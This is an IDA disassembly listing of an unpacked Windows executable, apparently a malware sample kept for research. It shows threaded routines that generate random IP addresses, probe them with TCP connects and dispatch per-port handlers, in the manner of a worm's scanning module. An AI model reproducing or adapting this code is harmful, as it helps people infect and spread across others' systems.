;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 44068F895CD2ADA918DD5DF780CFE1D8
; File Name : u:\work\44068f895cd2ada918dd5df780cfe1d8_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00084000 ( 540672.)
; Section size in file : 00084000 ( 540672.)
; Offset to raw data for section: 00001000
; Flags F0000060: Text Data Shareable Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp0 segment para public 'CODE' use32
assume cs:_nsp0
;org 401000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_4077FD+373Fp
; DATA XREF: .nsp1:00485040o ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_41A348
push eax
xor ebx, ebx
call sub_40C6C3
cmp dword_41A068, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40106E
push esi
mov esi, offset dword_41A070
loc_401033: ; CODE XREF: sub_401000+6Bj
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset aSD ; " %s: %d,"
push eax
call sub_40C6C3
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_40C5A0
add esi, 3Ch
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_401033
pop esi
loc_40106E: ; CODE XREF: sub_401000+2Bj
push dword_481BE8
call sub_40B6FE
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_40C6C3
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_40C5A0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
lea eax, [ebp+var_200]
push eax
call sub_403145
add esp, 38h
pop edi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4010CA proc near ; CODE XREF: sub_4077FD+3251p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 7
call sub_40C2A4
test eax, eax
pop ecx
jle short loc_401106
mov eax, [ebp+arg_C]
push dword_422AC0[eax*8]
call dword_42D900 ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset dword_41A38C
push eax
call sub_40C6C3
add esp, 0Ch
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_401106: ; CODE XREF: sub_4010CA+13j
lea eax, [ebp+var_200]
push offset unk_41A36C
push eax
call sub_40C6C3
pop ecx
pop ecx
loc_401119: ; CODE XREF: sub_4010CA+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
lea eax, [ebp+var_200]
push eax
call sub_403145
add esp, 18h
leave
retn
sub_4010CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401141 proc near ; CODE XREF: sub_401704+4Fp
var_20C = dword ptr -20Ch
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
jz loc_4013B5
imul eax, 3Ch
xor ebx, ebx
cmp dword_41A074[eax], ebx
jz loc_4013B5
push 4
call sub_40C2A4
test eax, eax
pop ecx
jnz loc_4013B5
mov eax, dword_41DE40
push esi
push edi
mov edi, offset dword_423D9C
push 104h
push edi
push ebx
mov dword_423FAC, eax
mov dword_423FA8, ebx
call dword_41804C ; GetModuleFileNameA
push 103h
mov esi, offset dword_423EA0
push offset byte_41DF08
push esi
call sub_40C720
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_423D98, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_424030, eax
jnz short loc_4011F1
lea eax, [ebp+arg_10]
push eax
push offset dword_423FB0
call sub_40C720
mov dword_424034, 1
jmp short loc_401208
; ---------------------------------------------------------------------------
loc_4011F1: ; CODE XREF: sub_401141+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_423FB0
call sub_40C720
mov dword_424034, ebx
loc_401208: ; CODE XREF: sub_401141+AEj
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push edi
push dword_423FAC
push offset unk_41A458
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40C062
add esp, 20h
mov dword_423FA4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_423D98
push offset sub_40BB81
push ebx
push ebx
call dword_418048 ; CreateThread
mov ecx, dword_423FA4
imul ecx, 234h
cmp eax, ebx
mov dword_42F41C[ecx], eax
jnz loc_401307
call dword_418044 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_41A420
push eax
call sub_40C6C3
add esp, 0Ch
loc_401287: ; CODE XREF: sub_401141+1CEj
lea eax, [ebp+var_204]
push eax
call sub_403145
mov edi, offset dword_424044
mov [esp+20Ch+var_20C], 104h
push edi
push ebx
mov dword_424250, ebx
call dword_41804C ; GetModuleFileNameA
push 103h
mov esi, offset dword_424148
push offset byte_41DF08
push esi
call sub_40C720
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_424040, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4242D8, eax
jnz short loc_401314
lea eax, [ebp+arg_10]
push eax
push offset dword_424258
call sub_40C720
mov dword_4242DC, 1
jmp short loc_40132B
; ---------------------------------------------------------------------------
loc_4012FF: ; CODE XREF: sub_401141+1CCj
push 32h
call dword_418040 ; Sleep
loc_401307: ; CODE XREF: sub_401141+125j
cmp dword_424038, ebx
jz short loc_4012FF
jmp loc_401287
; ---------------------------------------------------------------------------
loc_401314: ; CODE XREF: sub_401141+1A2j
lea eax, [ebp+arg_90]
push eax
push offset dword_424258
call sub_40C720
mov dword_4242DC, ebx
loc_40132B: ; CODE XREF: sub_401141+1BCj
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push edi
push dword_424254
push offset dword_41A3E0
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40C062
add esp, 20h
mov dword_42424C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_424040
push offset sub_403E11
push ebx
push ebx
call dword_418048 ; CreateThread
mov ecx, dword_42424C
pop edi
imul ecx, 234h
cmp eax, ebx
pop esi
mov dword_42F41C[ecx], eax
jnz short loc_4013C0
call dword_418044 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset dword_41A3AC
push eax
call sub_40C6C3
add esp, 0Ch
loc_4013A8: ; CODE XREF: sub_401141+287j
lea eax, [ebp+var_204]
push eax
call sub_403145
pop ecx
loc_4013B5: ; CODE XREF: sub_401141+13j
; sub_401141+24j ...
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4013B8: ; CODE XREF: sub_401141+285j
push 32h
call dword_418040 ; Sleep
loc_4013C0: ; CODE XREF: sub_401141+24Aj
cmp dword_4242E0, ebx
jz short loc_4013B8
jmp short loc_4013A8
sub_401141 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4013CA proc near ; CODE XREF: sub_40154B:loc_4015A7p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:422AC0h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call near ptr sub_40C820
add esp, 0Ch
push [ebp+arg_0]
call dword_42D7BC ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_42D874 ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call near ptr sub_40C820
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_4013CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401412 proc near ; CODE XREF: sub_40154B+54p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_40CBC0
cmp eax, 0Fh
pop ecx
jbe short loc_40143A
xor eax, eax
jmp short loc_4014AB
; ---------------------------------------------------------------------------
loc_40143A: ; CODE XREF: sub_401412+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_40CB7D
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_401467
call sub_40CB5F
mov [ebp+var_C], eax
loc_401467: ; CODE XREF: sub_401412+4Bj
cmp [ebp+var_8], esi
jnz short loc_401474
call sub_40CB5F
mov [ebp+var_8], eax
loc_401474: ; CODE XREF: sub_401412+58j
cmp [ebp+var_4], esi
jnz short loc_401481
call sub_40CB5F
mov [ebp+var_4], eax
loc_401481: ; CODE XREF: sub_401412+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40148D
call sub_40CB5F
loc_40148D: ; CODE XREF: sub_401412+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_422AC0[ecx*8], eax
loc_4014AB: ; CODE XREF: sub_401412+26j
pop esi
leave
retn
sub_401412 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4014AE proc near ; CODE XREF: sub_40154B+7Ep
; sub_403CA3+30p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
xor edi, edi
xor ebx, ebx
inc edi
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_42D8F4 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4014D7
xor eax, eax
jmp short loc_401546
; ---------------------------------------------------------------------------
loc_4014D7: ; CODE XREF: sub_4014AE+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_42D878 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_42D910 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_42D824 ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_42D860 ; select
push esi
mov edi, eax
call dword_42D90C ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_401546: ; CODE XREF: sub_4014AE+27j
pop edi
pop esi
pop ebx
leave
retn
sub_4014AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40154B proc near ; DATA XREF: sub_401704+13Bo
var_2C8 = byte ptr -2C8h
var_208 = dword ptr -208h
var_204 = byte ptr -204h
var_1F4 = byte ptr -1F4h
var_174 = byte ptr -174h
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_BC = byte ptr -0BCh
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2C8h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
mov esi, [ebp+var_28]
mov dword ptr [eax+148h], 1
mov [ebp+arg_0], esi
call dword_41805C ; GetTickCount
push eax
call sub_40CB55
mov ebx, esi
pop ecx
imul ebx, 234h
jmp loc_4016E1
; ---------------------------------------------------------------------------
loc_401591: ; CODE XREF: sub_40154B+1A4j
cmp [ebp+var_C], 0
push eax
jz short loc_4015A7
lea eax, [ebp+var_14C]
push eax
call sub_401412
pop ecx
jmp short loc_4015AC
; ---------------------------------------------------------------------------
loc_4015A7: ; CODE XREF: sub_40154B+4Bj
call sub_4013CA
loc_4015AC: ; CODE XREF: sub_40154B+5Aj
mov edi, eax
pop ecx
lea eax, [ebp+var_2C8]
push eax
lea eax, dword_42F208[ebx]
push eax
call sub_40C6C3
push [ebp+var_34]
push [ebp+var_38]
push edi
call sub_4014AE
add esp, 14h
cmp eax, 1
jnz loc_4016D6
cmp [ebp+var_1C], 0FFFFFFFFh
jnz short loc_40162B
mov edi, offset dword_423D80
push edi
call dword_418058 ; RtlEnterCriticalSection
cmp [ebp+var_10], 0
jnz short loc_40161F
cmp [ebp+var_BC], 0
push 1
push [ebp+var_14]
lea eax, [ebp+var_2C8]
push eax
lea eax, [ebp+var_BC]
jnz short loc_401613
lea eax, [ebp+var_13C]
loc_401613: ; CODE XREF: sub_40154B+C0j
push eax
push [ebp+var_3C]
call sub_404555
add esp, 14h
loc_40161F: ; CODE XREF: sub_40154B+A5j
push edi
call dword_418054 ; RtlLeaveCriticalSection
jmp loc_4016D6
; ---------------------------------------------------------------------------
loc_40162B: ; CODE XREF: sub_40154B+93j
push edi
call dword_42D900 ; inet_ntoa
push eax
lea eax, [ebp+var_204]
push eax
call sub_40C6C3
mov eax, [ebp+var_1C]
imul eax, 3Ch
add eax, offset dword_41A040
push eax
lea eax, [ebp+var_174]
push eax
call sub_40C6C3
add esp, 10h
cmp [ebp+var_BC], 0
lea eax, [ebp+var_BC]
jnz short loc_40166F
lea eax, [ebp+var_13C]
loc_40166F: ; CODE XREF: sub_40154B+11Cj
push eax
lea eax, [ebp+var_1F4]
push eax
call sub_40C6C3
mov eax, [ebp+var_3C]
pop ecx
mov [ebp+var_208], eax
mov eax, [ebp+var_14]
mov [ebp+var_158], eax
mov eax, [ebp+var_10]
mov [ebp+var_154], eax
mov eax, [ebp+var_38]
mov [ebp+var_168], eax
mov eax, [ebp+var_1C]
pop ecx
mov [ebp+var_160], eax
imul eax, 3Ch
sub esp, 0BCh
mov [ebp+var_164], esi
lea esi, [ebp+var_208]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call off_41A06C[eax]
mov esi, [ebp+arg_0]
add esp, 0BCh
loc_4016D6: ; CODE XREF: sub_40154B+89j
; sub_40154B+DBj
push 7D0h
call dword_418040 ; Sleep
loc_4016E1: ; CODE XREF: sub_40154B+41j
mov eax, dword_42F40C[ebx]
cmp dword_422AC4[eax*8], 0
jnz loc_401591
push esi
call sub_40C378
pop ecx
push 0
call dword_418050 ; ExitThread
sub_40154B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401704 proc near ; DATA XREF: sub_4077FD+1EE3o
; sub_4077FD+3045o
var_24C = dword ptr -24Ch
var_20C = byte ptr -20Ch
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_14C]
inc ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_42D8B4 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_422AC0[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_401141
push 7
call sub_40C2A4
add esp, 150h
cmp eax, ebx
jnz short loc_4017D2
mov esi, offset dword_423D80
push esi
call dword_418064 ; RtlDeleteCriticalSection
push 80000400h
push esi
call dword_418060 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_4017D2
lea eax, [ebp+var_20C]
push offset unk_41A55C
push eax
call sub_40C6C3
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_4017BC
push ebx
lea eax, [ebp+var_20C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_404555
add esp, 14h
loc_4017BC: ; CODE XREF: sub_401704+99j
lea eax, [ebp+var_20C]
push eax
call sub_403145
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_4017D2: ; CODE XREF: sub_401704+63j
; sub_401704+7Fj
mov eax, [ebp+var_2C]
mov esi, dword_418040
mov edi, ebx
mov dword_422AC4[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_401894
loc_4017F0: ; CODE XREF: sub_401704+18Aj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_20C]
push offset unk_41A524
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_20C]
push 7
push eax
call sub_40C062
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_42F40C[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40154B
push ebx
push ebx
call dword_418048 ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_42F41C[ecx], eax
jnz short loc_4018AB
call dword_418044 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_20C]
push offset unk_41A4E8
push eax
call sub_40C6C3
lea eax, [ebp+var_20C]
push eax
call sub_403145
add esp, 10h
loc_401886: ; CODE XREF: sub_401704+1ACj
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_4017F0
loc_401894: ; CODE XREF: sub_401704+E6j
cmp [ebp+var_30], ebx
jz short loc_4018B9
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
jmp short loc_4018C6
; ---------------------------------------------------------------------------
loc_4018A7: ; CODE XREF: sub_401704+1AAj
push 1Eh
call esi ; Sleep
loc_4018AB: ; CODE XREF: sub_401704+159j
cmp [ebp+var_4], ebx
jz short loc_4018A7
jmp short loc_401886
; ---------------------------------------------------------------------------
loc_4018B2: ; CODE XREF: sub_401704+1C0j
push 7D0h
call esi ; Sleep
loc_4018B9: ; CODE XREF: sub_401704+193j
mov eax, [ebp+var_2C]
cmp dword_422AC4[eax*8], 1
jz short loc_4018B2
loc_4018C6: ; CODE XREF: sub_401704+1A1j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_422AC0[eax*8]
push eax
call dword_42D900 ; inet_ntoa
push eax
lea eax, [ebp+var_20C]
push offset unk_41A4A8
push eax
call sub_40C6C3
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_401914
push ebx
lea eax, [ebp+var_20C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_404555
add esp, 14h
loc_401914: ; CODE XREF: sub_401704+1F1j
lea eax, [ebp+var_20C]
push eax
call sub_403145
mov eax, [ebp+var_2C]
mov [esp+24Ch+var_24C], 0BB8h
mov dword_422AC4[eax*8], ebx
call esi ; Sleep
push 7
call sub_40C2A4
cmp eax, 1
pop ecx
jnz short loc_40194B
push offset dword_423D80
call dword_418064 ; RtlDeleteCriticalSection
loc_40194B: ; CODE XREF: sub_401704+23Aj
push [ebp+var_2C]
call sub_40C378
pop ecx
push ebx
call dword_418050 ; ExitThread
sub_401704 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40195B proc near ; CODE XREF: sub_401BC7+Ep
; sub_401BC7+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40195B endp
; =============== S U B R O U T I N E =======================================
sub_401965 proc near ; CODE XREF: sub_401BC7+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
push ebx
mov esi, ecx
call sub_40CCCF
mov edi, eax
pop ecx
test edi, edi
jz short loc_401997
push ebx
push 0
push edi
call sub_40CC40
push ebx
push [esp+1Ch+arg_0]
push edi
call near ptr sub_40C820
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_401997: ; CODE XREF: sub_401965+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_401965 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40199F proc near ; CODE XREF: sub_401A91+18p
; sub_401B0B+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
mov ecx, [ebp+arg_C]
push esi
push edi
lea edi, [eax+ecx]
push edi
call sub_40CCCF
mov esi, eax
pop ecx
test esi, esi
jz short loc_4019EB
push edi
push 0
push esi
call sub_40CC40
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call near ptr sub_40C820
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call near ptr sub_40C820
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_4019EB: ; CODE XREF: sub_40199F+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40199F endp
; =============== S U B R O U T I N E =======================================
sub_4019F4 proc near ; CODE XREF: sub_401A91+5Ep
; sub_401A91+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_401A04
push eax
call sub_40CD81
pop ecx
loc_401A04: ; CODE XREF: sub_4019F4+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_4019F4 endp
; =============== S U B R O U T I N E =======================================
sub_401A0D proc near ; CODE XREF: sub_401A91+20p
; sub_401B6C+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_401A37
xor ebx, ebx
cmp eax, 7Fh
setnl bl
lea ebx, [ebx+ebx+1]
add eax, ebx
push eax
call sub_40CCCF
mov edi, eax
pop ecx
test edi, edi
jnz short loc_401A3B
loc_401A37: ; CODE XREF: sub_401A0D+Dj
xor al, al
jmp short loc_401A8D
; ---------------------------------------------------------------------------
loc_401A3B: ; CODE XREF: sub_401A0D+28j
mov eax, [esi+4]
add eax, ebx
push eax
push 0
push edi
call sub_40CC40
add esp, 0Ch
cmp ebx, 1
jnz short loc_401A5B
mov al, [esi+4]
mov [edi], al
lea eax, [edi+1]
jmp short loc_401A70
; ---------------------------------------------------------------------------
loc_401A5B: ; CODE XREF: sub_401A0D+42j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
lea eax, [edi+3]
loc_401A70: ; CODE XREF: sub_401A0D+4Cj
push dword ptr [esi+4]
push dword ptr [esi]
push eax
call near ptr sub_40C820
add esp, 0Ch
push dword ptr [esi]
call sub_40CD81
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_401A8D: ; CODE XREF: sub_401A0D+2Cj
pop edi
pop esi
pop ebx
retn
sub_401A0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401A91 proc near ; CODE XREF: sub_401BC7+89p
; sub_401BC7+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_4242EC
call sub_40199F
lea ecx, [ebp+var_8]
call sub_401A0D
mov eax, [ebp+var_4]
inc eax
push eax
call sub_40CCCF
mov edi, eax
pop ecx
test edi, edi
jnz short loc_401ACB
xor al, al
jmp short loc_401B07
; ---------------------------------------------------------------------------
loc_401ACB: ; CODE XREF: sub_401A91+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_40CC40
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call near ptr sub_40C820
add esp, 18h
mov ecx, esi
call sub_4019F4
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_4019F4
mov al, 1
loc_401B07: ; CODE XREF: sub_401A91+38j
pop edi
pop esi
leave
retn
sub_401A91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B0B proc near ; CODE XREF: sub_401B3F+14p
; sub_401B5C+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40199F
mov ecx, esi
call sub_4019F4
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_401B0B endp
; =============== S U B R O U T I N E =======================================
sub_401B3F proc near ; CODE XREF: sub_401BC7+F0p
; sub_401BC7+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_40CBC0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_401B0B
pop esi
retn 4
sub_401B3F endp
; =============== S U B R O U T I N E =======================================
sub_401B5C proc near ; CODE XREF: sub_401BA8+Bp
; sub_401BC7+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_401B0B
retn 8
sub_401B5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B6C proc near ; CODE XREF: sub_401BA8+16p
; sub_401BC7+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_401A0D
test al, al
jz short loc_401BA5
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_41A90F+1)
call sub_40199F
mov ecx, esi
call sub_4019F4
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_401BA5: ; CODE XREF: sub_401B6C+Fj
pop esi
leave
retn
sub_401B6C endp
; =============== S U B R O U T I N E =======================================
sub_401BA8 proc near ; CODE XREF: sub_401BC7+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_401B5C
test al, al
jz short loc_401BC3
mov ecx, esi
call sub_401B6C
loc_401BC3: ; CODE XREF: sub_401BA8+12j
pop esi
retn 8
sub_401BA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401BC7 proc near ; CODE XREF: sub_4023B8+88p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
